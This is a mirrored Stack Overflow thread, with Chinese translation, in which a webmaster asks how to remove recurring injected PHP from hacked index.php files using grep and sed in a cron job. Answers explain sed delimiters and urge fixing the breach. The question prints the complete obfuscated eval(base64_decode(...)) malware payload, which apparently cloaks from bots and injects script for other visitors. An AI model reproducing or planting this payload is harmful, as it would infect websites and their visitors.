【问题标题】:Can I search for a long string containing special characters using a grep command? [closed]我可以使用 grep 命令搜索包含特殊字符的长字符串吗? [关闭]
【发布时间】:2012-02-07 18:25:20
【问题描述】:

我的网站被黑了,一行恶意代码不断重新出现在我网络服务器上文件夹中的各种 index.php 页面上。我想每分钟运行一次 cronjob,在服务器上的所有文件中搜索匹配的字符串,然后将其替换为空字符串以将其删除。

我找到了一个 grep 命令,可以满足我的要求 (http://vasir.net/blog/ubuntu/replace_string_in_multiple_files/)。

作为测试,我在我的一个页面中添加了“RemoveThisWord”一词,并使用以下 grep 命令在我的服务器上使用 cronjob 将其替换为“AddThisWord”:

grep -rl 'RemoveThisWord' ./ | xargs sed -i 's/RemoveThisWord/AddThisWord/g'

这是正在添加的恶意代码,也是我最终需要搜索的内容。有没有人发现在 cronjob 中使用 grep 命令搜索该字符串有问题?

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZXInLCdzem4taW1hZ2UtcmVzaXplcicsJ3ZhbGlkYXRvcicsJ3ZpcnVzJywndmxjIG1lZGlhIHBsYXllcicsJ3dlYmNvbGxhZ2UnLCd3b3JkcHJlc3MnLCd4MTEnLCd5YW5kZXgnLCdpcGhvbmUnLCdhbmRyb2lkJyk7DQpmb3JlYWNoICgkYm90c1VBIGFzICRicykge2lmKHN0cnBvcyhzdHJ0b2xvd2VyKCR1YSksICRicykhPT0gZmFsc2UpeyRib3QgPSB0cnVlOyBicmVhazt9fQ0KaWYgKCEkYm90KXsNCgllY2hvKGJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZEQ1cFppaDNhVzVrYjNjdVpHOWpkVzFsYm5RcFlUMG9JblkxTXpKaU5TSXVjM0JzYVhRclJHRjBaU2t1YzNWaWMzUnlLREFzTmlrN1lXRTlLRnRkTG5KbGRtVnljMlVyVzEwdWNtVjJaWEp6WlNrdWMzVmljM1J5S0RBc05pazdhV1lvWVdFOVBUMWhLUXBtUFZzdE16QXNMVE13TERZMkxEWXpMQzAzTERFc05qRXNOeklzTmpBc056Z3NOekFzTmpJc056RXNOemNzTnl3Mk5DdzJNaXczTnl3ek1DdzJPU3cyTWl3M01DdzJNaXczTVN3M055dzNOaXd5Tnl3NE1pdzBOU3cxT0N3Mk5Dd3pPU3cxT0N3M01DdzJNaXd4TERBc05Ua3NOeklzTmpFc09ESXNNQ3d5TERVeUxEa3NOVFFzTWl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTml3Mk15dzNOU3cxT0N3M01DdzJNaXczTlN3eExESXNNakFzTFRNd0xDMHpNQ3c0Tml3dE55dzJNaXcyT1N3M05pdzJNaXd0Tnl3NE5Dd3RNekFzTFRNd0xDMHpNQ3cyTVN3M01pdzJNQ3czT0N3M01DdzJNaXczTVN3M055dzNMRGd3TERjMUxEWTJMRGMzTERZeUxERXNMVFVzTWpFc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc0xUY3NOellzTnpVc05qQXNNaklzTUN3Mk5TdzNOeXczTnl3M015d3hPU3c0TERnc05qRXNOekVzTnpFc056VXNOakFzTmpZc056Y3NOeklzT0RJc055dzJNU3cyTVN3M01TdzNOaXczTERZMkxEY3hMRFl6TERjeUxEZ3NOakVzT0N3eE15dzVMREV6TERjc056TXNOalVzTnpNc01qUXNOalFzTnpJc01qSXNNVEFzTUN3dE55dzRNQ3cyTml3Mk1TdzNOeXcyTlN3eU1pd3dMREV3TERrc01Dd3ROeXcyTlN3Mk1pdzJOaXcyTkN3Mk5TdzNOeXd5TWl3d0xERXdMRGtzTUN3dE55dzNOaXczTnl3NE1pdzJPU3cyTWl3eU1pd3dMRGM1TERZMkxEYzJMRFkyTERVNUxEWTJMRFk1TERZMkxEYzNMRGd5TERFNUxEWTFMRFkyTERZeExEWXhMRFl5TERjeExESXdMRGN6TERjeUxEYzJMRFkyTERjM0xEWTJMRGN5TERjeExERTVMRFU0TERVNUxEYzJMRGN5TERZNUxEYzRMRGMzTERZeUxESXdMRFk1TERZeUxEWXpMRGMzTERFNUxEa3NNakFzTnpjc056SXNOek1zTVRrc09Td3lNQ3d3TERJekxESXhMRGdzTmpZc05qTXNOelVzTlRnc056QXNOaklzTWpNc0xUVXNNaXd5TUN3dE16QXNMVE13TERnMkxDMHpNQ3d0TXpBc05qTXNOemdzTnpFc05qQXNOemNzTmpZc056SXNOekVzTFRjc05qWXNOak1zTnpVc05UZ3NOekFzTmpJc056VXNNU3d5TERnMExDMHpNQ3d0TXpBc0xUTXdMRGM1TERVNExEYzFMQzAzTERZekxDMDNMREl5TEMwM0xEWXhMRGN5TERZd0xEYzRMRGN3TERZeUxEY3hMRGMzTERjc05qQXNOelVzTmpJc05UZ3NOemNzTmpJc016QXNOamtzTmpJc056QXNOaklzTnpFc056Y3NNU3d3TERZMkxEWXpMRGMxTERVNExEY3dMRFl5TERBc01pd3lNQ3cyTXl3M0xEYzJMRFl5TERjM0xESTJMRGMzTERjM0xEYzFMRFkyTERVNUxEYzRMRGMzTERZeUxERXNNQ3czTml3M05TdzJNQ3d3TERVc01DdzJOU3czTnl3M055dzNNeXd4T1N3NExEZ3NOakVzTnpFc056RXNOelVzTmpBc05qWXNOemNzTnpJc09ESXNOeXcyTVN3Mk1TdzNNU3czTml3M0xEWTJMRGN4TERZekxEY3lMRGdzTmpFc09Dd3hNeXc1TERFekxEY3NOek1zTmpVc056TXNNalFzTmpRc056SXNNaklzTVRBc01Dd3lMREl3TERZekxEY3NOellzTnpjc09ESXNOamtzTmpJc055dzNPU3cyTml3M05pdzJOaXcxT1N3Mk5pdzJPU3cyTml3M055dzRNaXd5TWl3d0xEWTFMRFkyTERZeExEWXhMRFl5TERjeExEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEY3pMRGN5TERjMkxEWTJMRGMzTERZMkxEY3lMRGN4TERJeUxEQXNOVGdzTlRrc056WXNOeklzTmprc056Z3NOemNzTmpJc01Dd3lNQ3cyTXl3M0xEYzJMRGMzTERneUxEWTVMRFl5TERjc05qa3NOaklzTmpNc056Y3NNaklzTUN3NUxEQXNNakFzTmpNc055dzNOaXczTnl3NE1pdzJPU3cyTWl3M0xEYzNMRGN5TERjekxESXlMREFzT1N3d0xESXdMRFl6TERjc056WXNOaklzTnpjc01qWXNOemNzTnpjc056VXNOallzTlRrc056Z3NOemNzTmpJc01Td3dMRGd3TERZMkxEWXhMRGMzTERZMUxEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xEWXpMRGNzTnpZc05qSXNOemNzTWpZc056Y3NOemNzTnpVc05qWXNOVGtzTnpnc056Y3NOaklzTVN3d0xEWTFMRFl5TERZMkxEWTBMRFkxTERjM0xEQXNOU3d3TERFd0xEa3NNQ3d5TERJd0xDMHpNQ3d0TXpBc0xUTXdMRFl4TERjeUxEWXdMRGM0TERjd0xEWXlMRGN4TERjM0xEY3NOalFzTmpJc056Y3NNekFzTmprc05qSXNOekFzTmpJc056RXNOemNzTnpZc01qY3NPRElzTkRVc05UZ3NOalFzTXprc05UZ3NOekFzTmpJc01Td3dMRFU1TERjeUxEWXhMRGd5TERBc01pdzFNaXc1TERVMExEY3NOVGdzTnpNc056TXNOaklzTnpFc05qRXNNamdzTmpVc05qWXNOamtzTmpFc01TdzJNeXd5TERJd0xDMHpNQ3d0TXpBc09EWmRPMjFrUFNkaEp6dGxQWGRwYm1SdmQxc25aWFpoYkNkZE8zYzlaanR6UFNjbk8yYzlKMlluS3lkeWJ5Y3JKMjFEYUNjckoyRnlKeXNuUTI5a0p5c25aU2M3Wm05eUtHazlNRHRwTFhjdWJHVnVaM1JvUERBN2FTc3JLWHR6UFhNclUzUnlhVzVuVzJkZEtETTVLM2RiTUN0cFhTazdmUXBwWmloaFBUMDlZV0VwQ21Vb2N5azdQQzl6WTNKcGNIUSsnKSk7DQp9'));

我可以使用 grep 命令搜索包含特殊字符的长字符串吗?

* 编辑 * 我注意到不断重新出现的恶意代码总是以相同的字母开头,但有时以不同的结尾,所以我不知道要搜索什么,而不是删除整个字符串,我想替换 "eval(base64_decode ('ZXJ" with "//". 这样整行就会自己注释掉。

如何避免斜杠,因为它们已经在 unix 命令中使用并且它们被视为字符串?

【问题讨论】:

  • @Lixas,我完全理解并同意,但我试图为自己争取一些时间,以便在我找到永久解决方案并一起删除恶意脚本的同时,服务器上的站点仍然可以运行.
  • 如果您的服务器上的代码正在被更改,那么请努力防止这种情况发生,而不是应对所做的不良更改。检查日志、更改密码、更改权限并找出答案。我认为您可能能够在设置 cron 作业所需的时间内解决真正的问题。
  • 处理此类问题的唯一有用方法是停止使用无法验证的代码,因为您永远无法 100% 确定您现在已经发现了所有问题,然后从轨道并从已知的良好备份恢复。这是唯一确定的方法。
  • @zeckdude 我们已经与来自不同网站的许多高级代表就您的问题进行了一些讨论,要点是它并不适合任何地方。你真正要问的是解决一个受损的系统。你要做的就是重新开始,尽可能地锁定它,并监控它以找出你是如何受到损害的。如果你把它带到安全部门,我可能会重复 security.stackexchange.com/questions/7967/…security.stackexchange.com/questions/9708 来关闭它
  • 继 @JeffFerland 之后,如果它出现在服务器故障上,我们会将其作为 serverfault.com/questions/218005/… 的骗子将其关闭

标签: php unix grep


【解决方案1】:

如果您的网站在不使用 eval() 的 Wordpress(或大多数其他 CMS 新系统)中,我要做的第一件事是在 php.ini (disable_functions = "[...] ,eval" )。您也可以为 exec 和其他重要功能等执行此操作。

然后更改您的 blog/ftp/cpanel/SQL 密码和 wp-config 密钥/盐等。

然后尝试删除可能使用的东西:

find ./ -name '*.php' -type f | xargs sed -i 's#eval(base64_decode("ZXJ.*;##g' 2>&1

或这篇文章Using sed and grep to search and replace 来帮助您了解仅针对 .php 文件的语法...

祝你好运!

【讨论】:

    【解决方案2】:

    sed 也接受/ 以外的字符作为分隔符。因此,为了避免转义(顺便说一句,这可以通过添加反斜杠来实现),您可以使用未出现在您的正则表达式中的转义,例如点 .:

    sed -i 's.eval(base64_decode(.// .g'

    或者你可能更喜欢管道符号:

    sed -i 's|eval(base64_decode(|// |g'

    只是为了完整性:转义会像这样工作(但看起来很难看):

    sed -i 's/eval(base64_decode(/\/\/ /g'

    仅出于完整性考虑:搜索此文本的 cron 作业并不是对您的网站被黑的正确响应。您应该先尝试修复漏洞,否则攻击者会回来并关闭您的 cron-job,或者使用不同的语法绕过您的搜索。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2012-05-07
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2020-12-25
      • 1970-01-01
      • 2015-04-17
      • 1970-01-01
      相关资源
      最近更新 更多